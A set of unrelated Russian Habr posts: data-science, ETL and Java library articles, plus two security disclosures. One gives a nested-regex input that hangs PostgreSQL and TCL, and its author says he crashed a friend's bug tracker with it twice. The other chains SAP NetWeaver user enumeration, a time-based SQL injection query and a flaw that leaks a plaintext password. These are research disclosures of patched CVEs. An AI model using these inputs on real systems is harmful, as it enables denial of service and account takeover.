До сего момента мы рассматривали демографические аспекты. Один аспект в данных, на который надо обратить внимание — это связь между большим числом студентов, сдавших углубленную программу, и высокими оценками ЕГЭ. Логично, что они должны коррелировать, поскольку ученики с более высокими желаниями в учёбе должны лучше сдавать ЕГЭ.
```
In [98]:
full["ap_avg"] = full["AP Test Takers "] / full["total_enrollment"]
full.plot.scatter(x='ap_avg', y='sat_score')
Out[98]:
```
Похоже, между этими вещами сильная корреляция. Справа вверху есть интересный кластер школ с высокими оценками и высокой долей учеников, сдававших экзамен по УП:
```
In [99]:
full[(full["ap_avg"] > .3) & (full["sat_score"] > 1700)]["School Name"]
Out[99]:
92 ELEANOR ROOSEVELT HIGH SCHOOL
98 STUYVESANT HIGH SCHOOL
157 BRONX HIGH SCHOOL OF SCIENCE
161 HIGH SCHOOL OF AMERICAN STUDIES AT LE
176 BROOKLYN TECHNICAL HIGH SCHOOL
229 TOWNSEND HARRIS HIGH SCHOOL
243 QUEENS HIGH SCHOOL FOR THE SCIENCES A
260 STATEN ISLAND TECHNICAL HIGH SCHOOL
Name: School Name, dtype: object
```
Гугл показывает, что это достаточно требовательные школы, куда нужно сдать экзамен, чтобы попасть. Логично, что в этих школах много кто берёт углубленную программу.
Оформляем историю
-----------------
В data science история никогда по-настоящему не заканчивается. Раскрывая анализ остальным, вы позволяете им расширять и формировать его в интересном им направлении. К примеру, в этом посте есть аспекты, которые мы исследовали не полностью, и в которые можно погрузиться глубже.
Один из отличных способов начать рассказывать истории с помощью данных — попытаться расширить или повторить чужой анализ. Если решите двигаться в этом направлении — можете расширять анализ этого поста и попробовать найти что-нибудь ещё. Если так — оставьте мне комментарий, чтобы я посмотрел.
**Прим. перев.**Не мне, конечно, Вику. :)
Что дальше
----------
Если вы добрались до сюда — у вас уже должно быть хорошее понимание того, как рассказывать историю через данные и как сделать первую работу для портфолио.
В [Dataquest](https://www.dataquest.io/), у нас сделаны интерактивные обучающие проекты, чтобы вы начали делать своё портфолио для демонстрации его работодателям. Если интересно — можете [подписаться и пройти первый модуль бесплатно](https://www.dataquest.io/). | https://habr.com/ru/post/331528/ | null | ru | null |
# PostgreSQL, TCL и другие: Критическая ошибка в RE engine. Возможная уязвимость
Хочу обратить внимание хабрасообщества на возможную «уязвимость» в TCL, PostgreSQL и теоретически в некоторых других системах, использующих модули ругулярных выражений или NFA утилиты, изначально написаные самим Генри Спенсором (Henry Spencer). Измененных исходников можно найти добрую сотню (у того же Sun Microsystems, UUNET и т.д.). И хотя, я не думаю, что баг существует изначально с далеких 90-х, хотя бы потому, что кода где возникает эта ошибка я у Генри, в старых его источниках, не нашел, проверить ваши системы все-таки стоит.
И так ошибка: это busyloop на стадии компиляции регулярного выражения вида `(((((x)*)*)*)*)*`. Причем именно не исполнения, а компиляции, т.е. если есть проверка валидности регулярки и она базируется на том же коде NFA — имеем тот же безконечный цикл + 100% cpu usage.
Ошибку нашли коллеги по opensource проекту TCL, во всех его актуальных версиях (включая develop). Зная, что Postgres использует похожее API, нетрудно было выяснить, что скармливание этого регулярного выражения Postgres приводит к полному зависанию потока (процесса), отрабатывающего запрос.
Ошибка возникает при таком группировании только в пятом и более порядке вложенности — т.е. четыре вложеных группы корректно компилируются и исполняются.
Пример для PostgreSQL:
```
postgres=# select 1 where 'x' ~ '((((x)*)*)*)*';
?column?
----------
1
(1 row)
postgres=# select 1 where 'x' ~ '(((((x)*)*)*)*)*';
```
**!busyloop!**
Пример для TCL:
```
% regexp -about {((((x)*)*)*)*}
4 REG_UEMPTYMATCH
% regexp -about {(((((x)*)*)*)*)*}
```
**!busyloop!**
Т.к. эта ошибка приводит к подвисанию потока при 100% busy, и ввиду того, что уже имеются bug reports (которые, кстати, очень активно штудируются хакерами и скрипт-киддис), пока идет поиск и не будет выпущен bug fix, рекомендую проверить свои проекты (продукты) и в случае положительного результата, поотключать возможность генерации подобных регулярных выражений или foreign input регулярок вообще.
Сегодня целых два раза уронил таким способом баг-трекер одного своего друга, после чего выслушав сперва ругань, затем что в логах ничего не было видно (аргументы post у него отключены в логе), услышал таки спасибо. Ибо, предупрежден — вооружен.
Из проверенного **уязвимы:**
TCL 8.4, 8.5, 8.6 — **FAILED**.
PostgreSQL 8.4, 9.1 — **FAILED**.
**Не подвержены** ошибке:
Python 2.5.2 и 2.7 — **OK**.
UPD: PostgreSQL 9.2.3 — **OK**. (согласно комменту ув. [starius](https://habrahabr.ru/users/starius/)).
UPD: PostgreSQL 9.2.1, 9.2.2-2 — **OK**. (спасибо [catlion](https://habrahabr.ru/users/catlion/) и [sdevalex](https://habrahabr.ru/users/sdevalex/)). | https://habr.com/ru/post/169183/ | null | ru | null |
# Конвертация даных, или углубление в Talent Open Studio
Утро было вполне обычным и ленивым: душ, кофе, сигарета… Пора собираться на работу…
По приходе в офис был встречен новостью о переходе на новый проект в качестве ETL инженера (что это значит я не знал, ну да ладно). Ну, думаю попробуем. До меня там работал один парень, но как всегда много помощи о работе я у него не дождался. И так приступим.
Что такое ETL? Вот что на это говорит [вики](http://ru.wikipedia.org/wiki/ETL) :
ETL (от англ. Extract, Transform, Load – дословно «извлечение, преобразование, загрузка») – один из основных процессов в управлении хранилищами данных, который включает в себя:
* извлечение данных из внешних источников;
* их трансформация и очистка (англ. Data cleansing), чтобы они соответствовали нуждам бизнес-модели;
* и загрузка их в хранилище данных.
С этим думаю более или менее понятно. Суть моей задачи состояла в том чтобы с некоего .xls документа вытащить данные, преобразовывать их по типу (большинство полей определялось как string), кое что посчитать ( в зависимости от конкретного случая) и записать все это дело в БД. После привести к виду **star schema**, что это такое можно почитать на той же [вики](http://ru.wikipedia.org/wiki/%D0%A1%D1%85%D0%B5%D0%BC%D0%B0_%D0%B7%D0%B2%D0%B5%D0%B7%D0%B4%D1%8B).
И так. С задачей разобрались. Для работы использовалась [Talent Open Studio](http://www.talend.com), нарыл пример как и что делать. И началась очень долгая и скучная работа копи-пастом.
Вот как выглядит упрощенный пример по преобразования данных и запись в базу выглядит так:
* Создается проект;
* В него добавляется источник данных; ( в нашем случае .xml док);
* Добавляется получатель данных ( таблица в MySQL);
* Создаем новый Job;
* В него закидываем источник и получатель, а также компонент среды tMap;
* В нем прописываем для каждого поля преобразование данных ( к примеру конверт toInt || toFloat, удаляем лишние символы например "%", и так далее;
* Нажимаем наш Job на выполнение и смотрим что получилось;
*так визуально выглядит простой пример Job'а в TOS*
Попадались случаи где приходилось писать довольно длинную проверку на валидность данных, их парсинг и тд. После нескольких таких задач и надоедливого копи-пейста созрела идея оптимизации процесса, как оказалась в данной IDE есть возможность писать свои статические паблик классы. Первый класс для преобразования данных был написан за пару минут. И сразу количество марудной работы уменьшилось в разы. Если к примеру каждый раз приходилось копи-пастить:
`obj.toString().equals("#") || obj.toString().equals("") || obj==null ? null
Integer.parseInt(StringHandling.EREPLACE(obj.toString().replace(" ", "").substring(0,obj.toString().replace(" ", "").indexOf(".")),"\\xA0", ""))`
то дальше все обходилось одной строчкой
`routines.Convert.toInteger(obj)`
Но как говорится, не все так просто, особенно если приходится с некоторыми данными проводить какие либо операции, а тем более если приходится работать с данными из предыдущего скопа, так как в Talent Open Studio данные передаются строками, а не целым массивом, и получить доступ к предыдущем скопу не так просто, а точнее я так и не нашел способа кроме как использовать компоненты буфера.
Конкретней к делу, есть следующая задача: имеем набор значений со следующими полями: «Year»,«Quarter»,«StartsFromJan1»,«SomeValue1»,«SomeValue2» ,«SomeValue3» поле StartsFromJan1 может принимать значения «Y»(true) or «N»( false).
Если поле «StartsFromJan1» принимает значение «Y»(true), то данную строку необходимо обрабатывать по ряду правил, если «N» то оставить как есть. К примеру обработка может происходить следующим образом: от ячейки в текущей строке отнимается соответственная ячейка предыдущей строки (если Q4 то отнимаем Q3) с учетом того что если в ней значение поля StartsFromJan1 == N то отнимаем и еще минус одну строку, и так пока не дойдем до Q1, если же в отнимаемой строке поле StartsFromJan1 == Y, то на нем и останавливаемся, для наглядности приведу пример данных:
| Year | Quarter | StartsFromJan1 | SomeValue | SomeValue |
| --- | --- | --- | --- | --- |
| 2009 | Q1 | N | 3000 | 4000 |
| 2009 | Q2 | Y | 3500 | 5000 |
| 2009 | Q3 | N | 4000 | 6000 |
| 2009 | Q4 | Y | 5000 | 7000 |
| 2009 | Q1 | N | 3500 | 4400 |
| 2009 | Q2 | Y | 3400 | 5600 |
| 2009 | Q3 | N | 4500 | 6500 |
| 2009 | Q4 | Y | 5600 | 7800 |
#### в нашем случае первый остается без изменений, от второго отнимаем первый, третий не трогаем, от четвертого отнимаем 3 и 2
при разработке задачи возникли следующие проблемы
* Вычисление данных если поле «StartsFromJan1» принимает значение «Y»
* Отсеивание пустых строк
* Максимально уменьшить количество ручной работы
Для решения первой проблемы на выручку пришли те же статические классы. Я использовал 3 одномерных массива (три, потому что строка в которой Quarter == Q1 имеет всегда значение «N» для поля «StartsFromJan1»), создана некая переменная типа Int, которая после каждой обработанной ячейки увеличивалась на единицу, а после обработки последней ячейки в строке и переходе к следующей обнулялась. Далее был создан метод, который конвертировал входящие данные и записывал их в массив, он же обнулял массив при переходе с Q4 к Q1. И в последний метод занимался тем что вытаскивал данные из массива, смотрел нужно ли входящий параметр считать, он же после вызывал метод добавление в массив и возвращал посчитанное или не посчитанное значение ( в зависимости от параметра «StartsFromJan1»).
Далее в компоненте tMap вызывался данный метод в который передавались значения «StartsFromJan1»,«Quarter», «someValue»…
Проблема с пустыми строками… по началу мы просто урезали количество читаемых строк из файла, но данное решение было временным, так как количество данных со временем увеличивается.Решение пришло в виде компонента tFilterRow, в котором просто указывалось некоторое выражение для фильтрации, к примеру Year != null || Year!="", все значения которые соответствовали условию прогонялись через tMap.
после проведения описанных оптимизаций время разработки одного скопа данных сократилось на несколько порядков, количество работы стало также ощутимо меньше, хотя по большей степени все делалось из за огромного нежелания делать однотипную и долговременную работу, особенно если это касается копи-пейста. | https://habr.com/ru/post/86847/ | null | ru | null |
# SЯP wrong эncяyptioи или как скомпрометировать всех пользователей в SAP JAVA
Всем привет, меня зовут Ваагн Варданян (тут нет опечатки, как многие думают :) ), работаю я в DSec исследователем безопасности SAP-систем, и в этой небольшой статье расскажу о связке уязвимостей в SAP, использование которых может привести к компрометации системы и как результат – доступу к критичной бизнес информации.
С каждой новой версией SAP NW, приложения становятся все более защищёнными, и уязвимости не дают скомпрометировать систему полностью. Но бывают ситуации, когда несколько проблем безопасности, используемых вместе, все же позволяют атакующим добиться своих целей. Сегодня мы расскажем о том, как скомпрометировать SAP NW с помощью связки уязвимостей.
В статье сначала мы поговорим о возможности получения информации из системы, об эксплуатации уязвимости, основанной на утечке информации, далее — об эскалации привилегий. Все уязвимости были найдены в последних (на момент исследования) версиях SAP (SAP NW AS JAVA 7.4). Ну что ж, понеслось.
**Введение**
На сервере SAP AS JAVA есть множество стандартных приложений, которые хранятся в папке C:\usr\sap\%SID%\J00\j2ee\cluster\apps\sap.com, где %SID% — это SID SAP-системы. Так, наша тестовая система имеет SID DM0.
Из приведенного ниже скриншота можно понять, что в стандартной сборке SAP NW присутствует более 1400 компонентов (если установить полную сборку, то выйдет и более 2000), которые могут быть вызваны пользователями SAP'a с различными правами.
Каждый компонент, который можно вызвать, имеет некий уровень доступа, описанный в файлах web.xml, portalapp.xml. Всего существует 4 вида прав доступа к компонентам:
Естественно, нас будут интересовать сервлеты, приложения и компоненты, которые имеют права no\_safety, либо такие, у которых права вообще не предопределены, поскольку они доступны извне, и любой неавторизованный пользователь может получить к ним доступ.
Перейдем к первой уязвимости.
**Уязвимость разглашения информации**
После поиска файлов конфигураций файл дескрипторов, в которых есть описание прав доступа
или оно полностью отсутствует. Был найден webdynpro компонент tc~rtc~coll.appl.rtc~wd\_chat. Вот его конфигурационный файл:
К данному сервису можно обратится по следующему адресу:
*http:/SAP\_IP:SAP\_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd\_chat/Chat#*
Oткрываем страницу и видим некоторый функционал по отправке сообщений. Среди прочего, в нем есть возможность добавления адресатов (пользователей):
Нажав на запись *add participant*, можем увидеть окно, которое предлагает поискать пользователя без авторизации.
Очень интересно, что в списке был найден пользователь с именем Jon Snow и логином J.Snow.
Гмм… Похоже, используя данную уязвимость, можно получить список логинов пользователей SAP. Однако, этого недостаточно для компрометации системы, поскольку после того, как 3 – 5 раз будет введет неправильный пароль, учетная запись будет блокирована. Так что давайте поищем другие уязвимости.
**SQL injection**
Следующий анонимный сервис, в котором была найдена уязвимость – *UDDISecurityService*.
На сервере SAP данный сервис находится по адресу: *C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\servlet\_jsp\UDDISecurityService\*
Как видно из конфигурационного файла, сервис также доступен анонимно:
Тег *servlet-class* показывает, что доступ к данному сервлету можно получить с помощью SOAP-запросов. Теперь перед нами стоит задача найти структуру SOAP-запроса. Известно, что структуру запросов можно узнать, найдя wsdl-файл, в котором описан данный сервис. Получается, что нам надо найти wsdl файл, содержащий запись *UDDISecurityImplBean*. Используя total commander, запустим поиск.
На сервере нашелся файл, содержащий нужную нам информацию. Поскольку он имеет wsdl-структуру, преобразовать его в SOAP-запрос можно, используя специальную утилиту. Мы выяснили, что в данном файле описано 2 метода: applyPermission и deletePermissionById.
Выберем второй метод (deletePermissionById), сгенерируем SOAP-запрос и отправим его на сервер SAP.
В ответе получим:
Ответ вернул 200-ый код, но логика обработки отправленных данных непонятна. Чтобы «познакомиться» с полным функционалом данной программы, надо найти на сервере JAVA-код, обрабатывающий SAOP-запрос. И мы обнаруживаем jar-файл, в котором есть описание обработки данного запроса, и расположенный на сервере по адресу:
*C:\usr\sap\%SID%\J00\j2ee\cluster\apps\sap.com\tc~uddi\EJBContainer\applicationjars\tc~esi~uddi~server~ejb~ejbm.jar*
После декомпиляции файла можем увидеть следующие классы:
Сама обработка запроса происходит в классе UDDISecurityBean.
Когда мы отправляем запрос *deletePermissionById*, видно, как появляется конструктор *PermissionsDao()*, который вызывает функцию *deletePermision*. Переходим в класс *PermissionsDao*.
Данные, передаваемые через SOAP-запрос, используются для обращения к базе данных сервера SAP без фильтрации. Можно предположить, что тут есть SQL injection. Чтобы наверняка убедиться в этом, необходимо отправить специальный запрос для SQL injection и посмотреть логи базы данных сервера SAP. Файлы логов базы данных находятся по умолчанию в папке *C:\usr\sap\%SID%\J00\j2ee\cluster\server0\log\system\* и называются по умолчанию database\_NN.N.log, где N – число от 0 до 9 включительно.
Отправим следующий запрос:
В ответе также получим 200-ый код:
Но в логах базы данных можно заметить следующее:
Теперь точно можно говорить о том, что у нас есть анонимная SQL-инъекция в базу данных SAP. Удалим логи с сервера и отправим следующий запрос. Если на сервере в логах не возникнут ошибки, то структура SQL-запроса правильная.
Ошибок нет.
Теперь новая задача — найти запрос, который поможет получить критичные данные из базы данных SAP, например, хеш пароля Jon Snow. Из документации SAP NW AS JAVA известно, что данные о пользователях (логин, именa, хеши пароля) хранятся в таблице UME\_STRINGS.
Запрос для получения всех данных из UME\_STRINGS имеет следующий вид:
Как видно, данная SQL injection vulnerability не error based, а адаптер, который используется в этом сервлете и не поддерживает sleep() функцию. Будем использовать метод умножения таблиц для увеличения времени обработки запроса и превратим данную уязвимость в time-based SQL injection. Для этого надо найти таблицу, в которой всегда во всех SAP-серверах будут содержаться данные. Такая таблица — *J2EE\_CONFIG*, в которой хранится информация о конфигурации компонентов.
Oправим следующий запрос:
Сервер, получая запрос, пробует извлечь данные из БД, предварительно умножив 2 таблицы — *UME\_STRINGS* и *J2EE\_CONFIG*. Поскольку в таблицах хранятся данные большого объёма, произойдет временная нагрузка на сервер.
А ответ мы получаем спустя 32 секунды. И – готово: time-based SQL injection.
Получение хеша администратора
Как уже говорилось выше, захешированные пароли хранятся в таблице *UME\_STRINGS*, которая имеет следующую структуру:
В таблице *UME\_STRINGS.PID* хранятся имена пользователей.
*UME\_STRINGS.ATTR = 'j\_password'* показывает, что пользователь создан и присутствует в SAP AS JAVA стеке.
*UME\_STRINGS.VAL* хранит хеши паролей от пользователей, логины которых записаны в *UME\_STRINGS.PID*.
Выходит, что надо подобрать данные, содержащиеся в поле UME\_STRINGS.VAL. Базовый SQL-запрос для injection выглядит так:
```
SELECT COUNT(*) FROM J2EE_CONFIG, UME_STRINGS WHERE UME_STRINGS.ATTR='j_password' AND UME_STRINGS.PID LIKE '%J.Snow%' AND UME_STRINGS.VAL LIKE '%'
```
Известно, что пароль хранится в базе данных SAP в захешированном виде, алгоритм хеширования может быть следующим:
*SAPSHA
SSHA
SHA
SHA-512*
Т.е. в хеше паролей могут быть такие символы:
```
1234567890QWERTYUIOPASDFGHJKLZXCVBNM*.,{}#+:-=qwertyuiopasdfghjklzxcvbnm/{SPACE}
```
Будем перебирать их, и, если символ, который мы выбрали, совпадает с символом хеша из пароля, у нас будет задержка запроса.
Ответ будет задержан на 1 секунду.
Автоматизируя этот процесс, получим хеш от пользователя Jon Snow.
```
{SHA-512, 10000, 24}YXNkUVdFMTIzzbAIcuqnw5RzpmdgZ38PWjhBeaGzHkV6XINN7ZDqxqgr0nYxfCaE5ncdK7kzzkzryJAn42qv9YlY034Llr4b8Rv1534chnIf1i8jZE6ylzTV5XuzvUlaXQ==
```
Как видно, пароль захеширован алгоритмом *SHA-512*. На этом исследование бы закончилось, если бы не третья уязвимость.
Криптографическая ошибка, эскалации привилегий
Эта уязвимость была найдена случайно :-)
С помощью SQL injection получили хеш пароля пользователя Jon Snow:
```
{SHA-512, 10000, 24}YXNkUVdFMTIzzbAIcuqnw5RzpmdgZ38PWjhBeaGzHkV6XINN7ZDqxqgr0nYxfCaE5ncdK7kzzkzryJAn42qv9YlY034Llr4b8Rv1534chnIf1i8jZE6ylzTV5XuzvUlaXQ==
```
Хммм. Как видно, в конце хеша есть символы ==. А что будет, если мы сделаем base64decode?
Что? Как? Пароль? Есть единственный способ проверить, действительно ли это пароль от Jon'a — зайти на портал, используя логин J.Snow и пароль *asdQWE123*.
Ура! Я администратор! Но как? Надо разобраться, с чем связан тот факт, что пароль находится в формате base64 в БД.
В результате поиска, мы нашли файл *sap.com~tc~sec~ume~core~impl.jar*, который находится в папке: *C:\usr\sap\DM0\J00\j2ee\cluster\bin\ext\com.sap.security.core.sda\lib\private*. Он содержит функции, которые отвечают за хеширование пароля пользователей, проверку их валидности, блокировку пользователей и т.д. Один из основных классов — *PasswordHash*. Рассмотрим этот класс подробнее.
Он имеет 2 конструктора, один из которых
```
public PasswordHash(String user, String password)
{
this._user = user;
this._password = password;
this._extra = null;
}
```
Как мы видим, он инициализирует внутренние переменные *user* и *password*.
Чтобы из пароля получить хеш, используется другая функция *getHash* класса *PasswordHash*.
Как видно из строки 114, эта функция вызывает *createHashWithIterations* функцию, которая принимает случайное значение на вход в качестве соли для генерации хеша. Перейдем в функцию *createHashWithIterations(salt)*
На строке 184 инициализируется переменная *output*, хранящая байты введенного пароля пользователя.
В строке 185 создается новая переменная *pass\_n\_salt*, состоящая из байтов пароля и случайной соли, сгенерированной в строке 112.
Далее в строке 191 вызывается функция *hashWithIterations*, принимающая на вход 2 параметра — output и *pass\_n\_salt*. Заметим, что в *output* хранится пароль *asdQWE123* в байтах.
Так, интересно. Рассмотрим каждую строку по отдельности:
Строка 238 инициализирует переменную *output*, в которой записываются данные из переменной *data* (первые байты переменной *data* – пароль asdQWE123).
Строка 241 инициализируется переменная md класса *MessageDigest*, которая будет отвечать за хеширование данных.
Строка 243 начинает цикл для хеширования, *\_iterations = 10000.*
Строки 244-245 хешируют данные по алгоритму *SHA-512* и записываются в переменную *data*.
Строка 246, переменная *output* обнуляется.
Строка 247, в переменную *output* записываются данные из переменной *pass* (asdQWE123).
Строка 248, в конец переменной *output* записываются данные из *data*.
Получатся, что переменная output будет иметь следующую структуру:
Вся эта логика будет исполнена 10 000 раз, и в последнем шаге цикла в начало переменной output будет добавлен пароль, после пароля – захешированные данные. Тем самым, первые байты переменной output будут состоять из незахешированого пароля.
Блок-схема уязвимого участка кода:
pass = plain\_pass
output = [plain\_pass]+[random\_byte]
i=0
data = sha\_512(output)
output = [NULL]
output = [plain\_pass]+[data]
for(i)i = i + 1
if i==10000
exit\_from\_loop
output == «asdQWE123blablabla»
Ошибка программистов состояла в том, что они не хешируют данные в последнем шаге цикла for. Данная уязвимость уже закрыта, и исправление выглядит вот так:
pass = plain\_pass
output = [plain\_pass]+[random\_byte]
i=0
output = [plain\_pass]+[data]
data = sha\_512(output)
for(i)i = i + 1
if i==10000
exit\_from\_loop
Как мы видим, SAP поменял порядок шагов, теперь сначала происходит инициализация переменной *оutput*, а затем хеширование данных переменной.
**Заключение**
Итак, давайте посмотрим, какие ноты безопасности выпустил SAP для исправления данных уязвимостей.
Разглашение пользователей, логинов – SAP nota *2255990*, уязвимость была исправлена 8-ого мая 2016-ого года. Имеет уже CVE-шку CVE-2016-3973 (CVSS v3 7.5).
Список уязвимых версий SAP:
Для исправления SQL injection была выпущена SAP security note *2101079*, была исправлена 9-ого февраля 2016-ого года, CVE-2016-2386 (CVSS v3 9.1).
Список уязвимых версий SAP:
Уязвимость с неправильной реализацией хеширования паролей лечится нотой *2191290*. Нота выпущена 12 января 2016-ого, CVE-2016-1910 (CVSS v3 5.3).
Список уязвимых версий SAP:
Конечно, кто-то из вас может сказать, мол, установили какой-то «кривой сервер» и нашли баги, но и для этого есть статистика только по разглашению списка пользователей SAP-a. Сканирование проводилось по 7348 SAP-серверам, которые доступны через Интернет.
Статистика по каждому порту
В сумме выходит, что, к уязвимости разглашения информации подвержены около 1013 серверов (~14%)
Ну и еще одна табличка по статистике ДОСТУПНОСТИ сервлета в котором может быть уязвимость SQL injection (если еще не установлен патч)
Суммарно – 2174 серверов, что составляет ~30%
Выходит, что нужно делать?
Нужно патчиться, товарищи администраторы.
Да, и напоследок: хочешь у нас работать и находить еще более крутые баги – присылай свое резюме [сюда](https://spb.hh.ru/employer/259771) | https://habr.com/ru/post/303500/ | null | ru | null |
# Partial Update library. Частичное обновление сущности в Java Web Services
Введение
--------
В структуре веб-сервисов типичным базовым набором операций над экземплярами сущностей(объектами) является CRUD (**C**reate, **R**ead, **U**pdate и **D**elete). Этим операциям в REST соответствуют HTTP методы POST, GET, PUT и DELETE. Но зачастую у разработчика возникает необходимость частичного изменения объекта, соответствующего HTTP методу PATCH. Смысл его состоит в том, чтобы на стороне сервера изменить только те поля объекта, которые были переданы в запросе. Причины для этого могут быть различные:
* большое количество полей в сущности;
* большая вероятность одновременного изменения одного и того же объекта при высокой нагрузке, в результате которого произойдет перезапись не только модифицируемых полей;
* невозможность или более высокая сложность изменения полей в нескольких или всех объектах в хранилище(bulk update);
Эти и, возможно, другие причины побуждают разработчика реализовать стек операций по частичному изменению объекта.
Рассмотрим наиболее часто применяемые варианты решения задачи частичного обновления.
Использование обычного контроллера и DTO
----------------------------------------
Один из наиболее часто встречаемых вариантов реализации метода PATCH. В контроллере пришедший объект десериализуется в обычный DTO, и далее по стеку слоев приложения считается, что все поля в DTO со значением null не подлежат обработке.
К плюсам данного метода можно отнести "привычность" реализации.
К минусам относится во-первых потеря валидности значения `null` для обработки (после десериализации мы не знаем отсутствовало ли это поле в передаваемом объекте или оно пришло нам со значением `null`).
Вторым минусом является необходимость явной обработки каждого поля при конвертировании DTO в модель и далее по стеку в сущность. Особенно сильно это чувствуется в случае обработки сущностей с большим количеством полей, сложной структурой. Частично вторую проблему возможно решить с использованием `ObjectMapper`(сериализация/десериализация POJO, аннотированных [@JsonInclude(Include.NON\_NULL)](https://www.baeldung.com/jackson-ignore-null-fields) ) ,а так же библиотекой [MapStruct](https://mapstruct.org/documentation/stable/reference/html/#mapping-result-for-null-properties), генерирующей код конвертеров.
Использование Map вместо POJO
-----------------------------
`Map` является универсальной структурой для представления данных и десериализации. Практически любой JSON объект может быть десериализован в эту структуру. Но, как мы можем понять из типов обобщения, мы теряем контроль типов на этапе компиляции (а соответственно и на этапе написания исходного кода в IDE).
К достоинствам этого метода можно отнести универсальность представления данных и возможность корректной обработки значения `null`.
Недостатки же в данном случае глобальны: потеря контроля типов на этапе написания исходного кода и компиляции, необходимость явного приведения типов, высокая сложность рефакторинга, обнаружение практически всех ошибок, связанных с типами данных и именованием полей только в runtime(тесты или реальный запуск приложения).
Использование JSON Patch и JSON Merge Patch
-------------------------------------------
[JSON Patch](https://tools.ietf.org/html/rfc6902) и [JSON Merge Patch](https://tools.ietf.org/html/rfc7396) являются стандартизованными и наиболее универсальными методами описания частичного изменения объекта. Спецификация Java EE содержит интерфейсы, описывающие работу с обоими этими форматами: [JsonPatch](https://javaee.github.io/javaee-spec/javadocs/javax/json/JsonPatch.html) и [JsonMergePatch](https://javaee.github.io/javaee-spec/javadocs/javax/json/JsonMergePatch.html). Существуют реализации этих интерфейсов, одной из которых является библиотека [json-patch](https://github.com/java-json-tools/json-patch). Оба формата кратко описаны в статье Michael Scharhag [REST: Partial updates with PATCH](https://www.mscharhag.com/api-design/rest-partial-updates-patch).
Достоинства метода: стандартизация, универсальность, возможность реализовать не только изменение значения в объекте, но и добавление, удаление, перемещение, копирование и проверку значений полей в объекте.
К недостаткам метода можно отнести несколько большую сложность структуры данных, описывающих изменения в объекте и ее визуальное несоответствие типовому DTO объекта, более высокую сложность передачи данных об изменениях между слоями приложения, усложнение процесса валидации, усложненный процесс преобразования структуры описания изменений к запросам множественного обновления объектов в БД, etc.
Partial Update library
----------------------
Основной целью создания библиотеки стало объединение положительных и исключение отрицательных сторон первых двух методов из описанных: использование классических DTO в фасадах и гибкости структуры `Map` "под капотом".
Ключевыми элементами библиотеки являются интерфейс [ChangeLogger](https://github.com/mw79/partial-update/blob/main/partial-update-core/src/main/java/partial/update/ChangeLogger.java) и класс [ChangeLoggerProducer](https://github.com/mw79/partial-update/blob/main/partial-update-core/src/main/java/partial/update/ChangeLoggerProducer.java).
Класс `ChangeLoggerProducer` предназначен для создания "оберток" POJO, перехватывающих вызовы сеттеров и реализующих интерфейс `ChangeLogger` для получения изменений, произведенных вызовами сеттеров в виде структуры `Map`.
Для дальнейших примеров будут использоваться вот такие POJO:
```
public class UserModel {
private String login;
private String firstName;
private String lastName;
private String birthDate;
private String email;
private String phoneNumber;
}
@ChangeLogger
public class UserDto extends UserModel {
}
```
Вот пример работы с такой "оберткой":
```
ChangeLoggerProducer producer = new ChangeLoggerProducer<>(UserDto.class);
UserDto user = producer.produceEntity();
user.setLogin("userlogin");
user.setPhoneNumber("+123(45)678-90-12");
Map changeLog = ((ChangeLogger) user).changelog();
/\*
changeLog in JSON notation will contains:
{
"login": "userlogin",
"phoneNumber": "+123(45)678-90-12"
}
\*/
```
Суть "обертки" состоит в следующем: при вызове сеттера его имя добавляется в `Set`, при дальнейшем вызове метода `Map changelog()` он вернет ассоциативный список, ключом в котором будет имя поля, а соответствующим ключу значением будет объект, возвращенный соответствующим геттером. В случае, если объект, возвращаемый геттером реализует интерфейс `ChangeLogger`, то в значение поля пойдет результат вызова метода `Map changelog()`.
Для сериализации/десериализации "оберток" реализован класс `ChangeLoggerAnnotationIntrospector`. Это класс представляет собой [Annotation Introspector](https://fasterxml.github.io/jackson-databind/javadoc/2.5/com/fasterxml/jackson/databind/AnnotationIntrospector.html) для `ObjectMapper`. Основной задачей класса является создание "обертки" при десериализации класса, аннотированного `@ChangeLogger` аннотацией библиотеки и сериализацией результата вызова метода `Map changelog()` вместо обычной сериализации всего объекта. Примеры использования `ObjectMapper` с `ChangeLoggerAnnotationIntrospector` приведены ниже.
Сериализация:
```
ObjectMapper mapper = new ObjectMapper.setAnnotationIntrospector(new ChangeLoggerAnnotationIntrospector());
ChangeLoggerProducer producer = new ChangeLoggerProducer<>(UserDto.class);
UserDto user = producer.produceEntity();
user.setLogin("userlogin");
user.setPhoneNumber("+123(45)678-90-12");
String result = mapper.writeValueAsString(user);
/\*
result should be equal
"{\"login\": \"userlogin\",\"phoneNumber\": \"+123(45)678-90-12\"}"
\*/
```
Десериализация:
```
ObjectMapper mapper = new ObjectMapper.setAnnotationIntrospector(new ChangeLoggerAnnotationIntrospector());
String source = "{\"login\": \"userlogin\",\"phoneNumber\": \"+123(45)678-90-12\"}";
UserDto user = mapper.readValue(source, UserDto.class);
Map changeLog = ((ChangeLogger) user).changelog();
/\*
changeLog in JSON notation will contains:
{
"login": "userlogin",
"phoneNumber": "+123(45)678-90-12"
}
\*/
```
Используя `ObjectMapper` с `ChangeLoggerAnnotationIntrospector` мы можем десериализовать пришедший нам в контроллер JSON с полями для частичного апдейта и далее передавать эти данные в подлежащие слои сервисов для реализации логики. В библиотеке присутствует инфраструктура для реализации мапперов DTO, Model, Entity с использованием "оберток". Пример полного стека приложения реализован в тестовом проекте [Partial Update Example](https://github.com/mw79/partial-update-example).
Итог
----
Partial Update library позволяет с рядом ограничений реализовать наиболее типичную задачу частичного изменения объекта, используя максимально близкий к типовому способ организации стека приложения. При этом универсальность ассоциативного списка объединена с сохранением контроля типов данных в процессе написания исходного кода и компиляции, что позволяет избежать большого числа ошибок в runtime.
В настоящее время функционал имеет ряд ограничений:
* реализован только простейший маппинг "поле в поле", что не позволяет автоматизировать ситуации с разными именами одного и того же поля в DTO, Model, Entity;
* не реализован модуль интеграции со Spring, в связи с чем для реализации сериализации/десериализации "оберток" DTO необходимо реализовать конфигурацию(как в [примере](https://github.com/mw79/partial-update-example/blob/main/src/main/java/in/multitools/partial/update/example/config/MapperConfig.java)), добавляющую `ChangeLoggerAnnotationIntrospector` в стандартный `ObjectMapper` контроллера приложения;
* не реализованы утилиты формирования SQL/HQL запросов для bulk update операций с БД;
В последующих версиях планируется добавление недостающего функционала.
